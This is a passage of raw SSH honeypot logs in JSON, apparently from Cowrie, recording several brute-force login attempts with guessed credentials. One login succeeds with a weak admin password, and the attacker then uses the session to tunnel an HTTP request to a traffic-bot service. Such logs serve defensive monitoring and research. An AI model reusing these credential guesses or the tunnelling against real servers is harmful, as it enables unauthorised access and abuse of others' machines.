e\\xc3a1DQ\\xe4\\xbe$\\x8f\\x06\\xa8\\xec+\\xcf\\xca\\xa2\\xbb\\x9dmpM\\x13H\\xbaS,\\x12\\x96\\x12\\x02N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.965849Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22972,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9563bf7104f","protocol":"ssh","message":"New connection: 91.92.40.36:22972 (159.203.135.109:22) [session: f9563bf7104f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:16.028518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:16.727087Z","src_ip":"91.92.40.36","session":"f9563bf7104f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:16.731598Z","src_ip":"91.92.40.36","session":"f9563bf7104f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.3","message":"Connection lost after 27.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:20.623858Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2023","message":"login attempt [ubuntu/ubuntu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:22.487641Z","src_ip":"91.92.40.36","session":"f9563bf7104f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30248,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b85312df0b0","protocol":"ssh","message":"New connection: 91.92.40.36:30248 (159.203.135.109:22) [session: 2b85312df0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:23.706609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:24.774337Z","src_ip":"91.92.40.36","session":"2b85312df0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:24.778324Z","src_ip":"91.92.40.36","session":"2b85312df0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:25.172739Z","src_ip":"91.92.40.36","session":"f9563bf7104f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23502,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f934a39220","protocol":"ssh","message":"New connection: 91.92.40.36:23502 (159.203.135.109:22) [session: 50f934a39220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:28.783306Z"}
{"eventid":"cowrie.session.closed","duration":"30.5","message":"Connection lost after 30.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:28.799032Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:29.786834Z","src_ip":"91.92.40.36","session":"50f934a39220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:29.791303Z","src_ip":"91.92.40.36","session":"50f934a39220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest12","message":"login attempt [ftptest/ftptest12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:32.236084Z","src_ip":"91.92.40.36","session":"2b85312df0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:34.880763Z","src_ip":"91.92.40.36","session":"2b85312df0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1a2s3d","message":"login attempt [ubuntu/1a2s3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:34.968906Z","src_ip":"91.92.40.36","session":"50f934a39220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:36.861311Z","src_ip":"91.92.40.36","session":"50f934a39220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23542,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5fe77735867","protocol":"ssh","message":"New connection: 91.92.40.36:23542 (159.203.135.109:22) [session: d5fe77735867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:37.436487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:38.057565Z","src_ip":"91.92.40.36","session":"d5fe77735867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:38.060926Z","src_ip":"91.92.40.36","session":"d5fe77735867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar","message":"login attempt [eleazar/eleazar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:41.550059Z","src_ip":"91.92.40.36","session":"d5fe77735867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:43.481211Z","src_ip":"91.92.40.36","session":"d5fe77735867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6303d41c7d4","protocol":"ssh","message":"New connection: 91.92.40.36:23624 (159.203.135.109:22) [session: f6303d41c7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:45.719658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:46.442180Z","src_ip":"91.92.40.36","session":"f6303d41c7d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:46.462778Z","src_ip":"91.92.40.36","session":"f6303d41c7d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35060,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5924c26ac88","protocol":"ssh","message":"New connection: 51.250.105.222:35060 (10.17.0.5:22) [session: e5924c26ac88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:46.467969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:46.472926Z","src_ip":"51.250.105.222","session":"e5924c26ac88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:46.604426Z","src_ip":"51.250.105.222","session":"e5924c26ac88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:46.998838Z","src_ip":"51.250.105.222","session":"e5924c26ac88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:48.132759Z","src_ip":"51.250.105.222","session":"e5924c26ac88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":63807,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a842391185","protocol":"ssh","message":"New connection: 23.175.50.47:63807 (10.17.0.5:22) [session: f2a842391185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:48.564816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:48.583273Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:48.690807Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:50.248393Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64894,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e3b2bc1e55b","protocol":"ssh","message":"New connection: 91.92.40.36:64894 (159.203.135.109:22) [session: 2e3b2bc1e55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:51.850994Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.173860Z","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.231258Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/71.0 Mobile/18B121 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1190\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: 